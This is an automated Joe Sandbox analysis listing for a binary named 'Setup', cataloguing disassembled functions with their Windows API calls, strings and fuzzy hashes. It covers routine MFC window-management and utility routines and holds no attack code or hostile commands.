Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$CaptureInvalidateReleaseTimer
String ID:
API String ID: 2903485716-0
Opcode ID: cad193bc04ce564b2d97f0ca29e1154c9271122cb4dbb679f4dce1f3425d233e
Instruction ID: ac144f07ca454e5f57e45172734841dd3f67584fbebf602cbde810fbbfcc6e72
Opcode Fuzzy Hash: cad193bc04ce564b2d97f0ca29e1154c9271122cb4dbb679f4dce1f3425d233e
Instruction Fuzzy Hash: 4331C135305247FFDB155F30DC44BADBBA5FF09312F040176E99982560DB70A920DBA2

Function 00B8550B Relevance: 9.1, APIs: 6, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00B85521
GetWindow.USER32(?,00000002), ref: 00B85543
GetWindow.USER32(?,00000002), ref: 00B85558
GetWindowLongW.USER32(?,000000EC), ref: 00B8556B
IsWindowVisible.USER32(?), ref: 00B85581
GetTopWindow.USER32(?), ref: 00B855AB

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$LongParentVisible
String ID:
API String ID: 506644340-0
Opcode ID: 973de5a2d33f24230aa422604a081f7cd3c9225a95191356c0c3094df3412e44
Instruction ID: 12dd2c4d1cf11565d56af1992bc7bb0127dad99262a3eb64cf31bb1e7de6820e
Opcode Fuzzy Hash: 973de5a2d33f24230aa422604a081f7cd3c9225a95191356c0c3094df3412e44
Instruction Fuzzy Hash: A521AFB2600E50ABCB323F64DC09BEE7BEAFF24751F0505A5B856A2171E760DE00D790

Function 00B6A761 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00B6A799
GetParent.USER32(?), ref: 00B6A7A7
GetParent.USER32(?), ref: 00B6A7BE
GetLastActivePopup.USER32(?), ref: 00B6A7D1
IsWindowEnabled.USER32(?), ref: 00B6A7E5
EnableWindow.USER32(?,00000000), ref: 00B6A7F8

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: fccdfa88e7c28c469077ece5f3f48684ad302ef99da492a86be2775428715c33
Instruction ID: 72767088fb2960c25d5b7122f97dcc01de25fb8897ec31fe550886bb51a538a6
Opcode Fuzzy Hash: fccdfa88e7c28c469077ece5f3f48684ad302ef99da492a86be2775428715c33
Instruction Fuzzy Hash: 361190726026215BDF225F658984B3EB7F8EF54B60B1602E6ED01B7250DB6CDD018EE3

Function 00B90E5D Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00B90E66
GetWindow.USER32(00000000), ref: 00B90E6D
GetWindowLongW.USER32(00000000,000000F0), ref: 00B90E9B
ShowWindow.USER32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00B909DE,00000000), ref: 00B90EB6
ShowWindow.USER32(00000000,00000004,?,?,?,?,?,?,?,?,?,?,?,?,00B909DE,00000000), ref: 00B90ED7
GetWindow.USER32(00000000,00000002), ref: 00B90EE4

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Show$DesktopLong
String ID:
API String ID: 3178490500-0
Opcode ID: ce770ef73a8205e45e4866452b4541c2527ae2e70fe9fe8bdaeb9ce22921f428
Instruction ID: 268b48b72789c515c74c80790664cb4fe9857bc4cb7787e2ec647a3090147671
Opcode Fuzzy Hash: ce770ef73a8205e45e4866452b4541c2527ae2e70fe9fe8bdaeb9ce22921f428
Instruction Fuzzy Hash: DA110E31A12F59ABCF32BB249C49BAF3B98EF113A1F1006F2F90095190DBA0C8808291

Function 00B7818C Relevance: 9.0, APIs: 6, Instructions: 48windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 00B78190

Part of subcall function 00B784E4: GetWindowLongW.USER32(?,000000F0), ref: 00B784FF
Part of subcall function 00B784E4: GetClassNameW.USER32(?,?,0000000A), ref: 00B78514
Part of subcall function 00B784E4: CompareStringW.KERNEL32(0000007F,00000001,?,000000FF,combobox,000000FF,?,00B70A7B,?,?), ref: 00B7852B

GetParent.USER32(00000000), ref: 00B781B1
GetWindowLongW.USER32(?,000000F0), ref: 00B781D0
GetParent.USER32(?), ref: 00B781DE
GetDesktopWindow.USER32 ref: 00B781E6
SendMessageW.USER32(00000000,0000014F,00000000,00000000), ref: 00B781FA

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$LongParent$ClassCompareDesktopFocusMessageNameSendString
String ID:
API String ID: 1233893325-0
Opcode ID: f63b3da4f0d0f5e1c0a891adc270a32e47f9bd8302fc9dc91ccf6928ef549802
Instruction ID: 4c3b72ef014862642cfe1d46ea25fc05ccccdd986a1fd727c79fb3eda08c2404
Opcode Fuzzy Hash: f63b3da4f0d0f5e1c0a891adc270a32e47f9bd8302fc9dc91ccf6928ef549802
Instruction Fuzzy Hash: F0F028712C2A1137E3222B245D0DF7E77D8DB81F51F1580A1F938B22D1DF24DD0241AA

Function 00B652E0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 272COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B65387
CoCreateGuid.OLE32(?,00000000,00000000,00000030), ref: 00B653E4
SysFreeString.OLEAUT32(?), ref: 00B655DA

Strings

%08lX-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X, xrefs: 00B65434
RestartByRestartManager, xrefs: 00B6545C, 00B65461, 00B65469

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CreateFreeGuidH_prolog3_String
String ID: %08lX-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X$RestartByRestartManager
API String ID: 1084067465-5890034
Opcode ID: 714cab601aae7b6a206a820d0739d5d1645f0c1dca58881b044311700dc9afcc
Instruction ID: 53fd9d39c394d47a0bf30201c5017fb41884df4d7d98e6fb5abd9906364b8b42
Opcode Fuzzy Hash: 714cab601aae7b6a206a820d0739d5d1645f0c1dca58881b044311700dc9afcc
Instruction Fuzzy Hash: 34A19071A01119AFCB04EBA4DC95EFEBBF9EF09310F1441A9F505A7291DB789E00CB61

Function 00B7172B Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 215windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B76CCA: __EH_prolog3.LIBCMT ref: 00B76CD1

SendMessageW.USER32(?,00000433,00000000,?), ref: 00B71903
GetWindowLongW.USER32(?,000000FC), ref: 00B7190E
GetWindowLongW.USER32(?,000000FC), ref: 00B71922
SetWindowLongW.USER32(?,000000FC,00000000), ref: 00B7194B

Strings

,, xrefs: 00B718EB

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: LongWindow$H_prolog3MessageSend
String ID: ,
API String ID: 4140968126-3772416878
Opcode ID: 7f1802f373927e878aa84cea96e8e07863bb2a7a9ffddf1479049bfcd4a33c3f
Instruction ID: 8ebfee0eed6b31d3f91c0261005d0cf2b363df85c70e60d672a418f1a54531ce
Opcode Fuzzy Hash: 7f1802f373927e878aa84cea96e8e07863bb2a7a9ffddf1479049bfcd4a33c3f
Instruction Fuzzy Hash: B971F671B00215AFCB15AFB8C894B6DBBF5FF44310B0485AAE91997391DB70ED01CBA2

Function 00B91889 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00000000,?), ref: 00B918C4
PathFindExtensionW.SHLWAPI(?,?,00000000,?), ref: 00B918DE

Part of subcall function 00B68B58: __CxxThrowException@8.LIBVCRUNTIME ref: 00B68B6C

Strings

.HLP, xrefs: 00B919D9, 00B919DE
.CHM, xrefs: 00B919C3
.INI, xrefs: 00B91A0D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Exception@8ExtensionFileFindModuleNamePathThrow
String ID: .CHM$.HLP$.INI
API String ID: 1938139466-4017452060
Opcode ID: e44291d7dcd076e1212c47925a39f3706e17b1a3b4a55ff851ea43303aa30f2f
Instruction ID: 70343aefab3e5751173b1457ad896517066457c551185515f8ac21029cc429a6
Opcode Fuzzy Hash: e44291d7dcd076e1212c47925a39f3706e17b1a3b4a55ff851ea43303aa30f2f
Instruction Fuzzy Hash: D1416CB1A0070A9BDF20EBB9CD45BAAB3ECEF44704F104CBAA545D3281EB74D944DB61

Function 00BB6C44 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BB6C4E
CloseHandle.KERNEL32(00000000,?,00000000,00000080,00C1851C,?,00000000), ref: 00BB6C89

Part of subcall function 00B7BA9A: __EH_prolog3.LIBCMT ref: 00B7BAA1

GetTempPathW.KERNEL32(00000104,00000000,00000104,00000000,?,00000000,00000080,00C1851C,?,00000000), ref: 00BB6CB0
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,04000100,00000000,000000FF,00000104,00000000,000000FF), ref: 00BB6D0B

Strings

AFX, xrefs: 00BB6CE0

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CloseCreateFileH_prolog3H_prolog3_catchHandlePathTemp
String ID: AFX
API String ID: 775233504-1300893600
Opcode ID: 9d1880685c7f5d62920ecaeabea9af761f7bc06c2eaba9d51300d82f694b769b
Instruction ID: c9e7e962db964d4c65076fdba23ad77d856764e112fcb53c23422ee682cd3a30
Opcode Fuzzy Hash: 9d1880685c7f5d62920ecaeabea9af761f7bc06c2eaba9d51300d82f694b769b
Instruction Fuzzy Hash: E3416C70900149ABDB14EFA0DC95FEEB7B8AF55300F1042A9F516A7292DF746E09CB61

Function 00B90EF7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B90F01

Part of subcall function 00B7589D: GetWindowLongW.USER32(?,000000F0), ref: 00B758AA

swprintf.LIBCMT ref: 00B90F54

Part of subcall function 00B67DBF: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B67DD1

swprintf.LIBCMT ref: 00B90FF0

Strings

- , xrefs: 00B90F75, 00B90F7A, 00B90F82, 00B90FB2, 00B90FB7, 00B90FBF
:%d, xrefs: 00B90F49, 00B90FE2

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: swprintf$H_prolog3_LongWindow__vswprintf_c_l
String ID: - $:%d
API String ID: 1186867587-2359489159
Opcode ID: 8ace600a5a7962ec65b7f8a76bf8d66204b9b498616699e0e0cb4dd0d97ec7fb
Instruction ID: 8370831b9e7b867a8450faf6060889462517dfc4bb1fee4b0ec5102738d861ed
Opcode Fuzzy Hash: 8ace600a5a7962ec65b7f8a76bf8d66204b9b498616699e0e0cb4dd0d97ec7fb
Instruction Fuzzy Hash: CE314AB29011156ADB24E6A0CD96FEFB3BCEF55700F0005E9F60AA7153EA34AE449B90

Function 00B6EE9B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

__snprintf_s.LIBCMT ref: 00B6EEE8

Part of subcall function 00B65F0E: __vsnwprintf_s_l.LEGACY_STDIO_DEFINITIONS ref: 00B65F23

__snprintf_s.LIBCMT ref: 00B6EF1B
GetClassInfoW.USER32(?,0000007C,?), ref: 00B6EF4B

Strings

Afx:%p:%x:%p:%p:%p, xrefs: 00B6EF11
Afx:%p:%x, xrefs: 00B6EEDE

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: __snprintf_s$ClassInfo__vsnwprintf_s_l
String ID: Afx:%p:%x$Afx:%p:%x:%p:%p:%p
API String ID: 2864017905-2801496823
Opcode ID: c2c23e94101e7dd16fae8ba40e72a0208f59daf25417064d5d0435c92842987f
Instruction ID: e1ccf0fa0bf44492cd2c85f90b005ba14c7e2284bc9fa892ce5ed1dd630637c3
Opcode Fuzzy Hash: c2c23e94101e7dd16fae8ba40e72a0208f59daf25417064d5d0435c92842987f
Instruction Fuzzy Hash: 6A3149B9D00219EFDB11EFA4C841BAE7BF4FF09315F004095F914AB291D778DA509BA6

Function 00B6BB4C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

Edit, xrefs: 00B6BBA3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: 3f5ce0694cf4449ebbd5fe5bab525c86ed79f56f48dd3ef825d014a40ea051c1
Instruction ID: 8d8e8d4086f214597af84c01cd616c8254834b46921ee91b5940593698e182cf
Opcode Fuzzy Hash: 3f5ce0694cf4449ebbd5fe5bab525c86ed79f56f48dd3ef825d014a40ea051c1
Instruction Fuzzy Hash: DC11CB30305201ABEA352B25CC09F6A77F8EB44394F0840BAF656E11F8DB68EC82C661

Function 00B8B43B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B8B442
GetClassNameW.USER32(?,00000000,00000400), ref: 00B8B479
GetWindowLongW.USER32(?,000000F0), ref: 00B8B4B2

Strings

ComboBox, xrefs: 00B8B48C
ComboBoxEx32, xrefs: 00B8B49D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
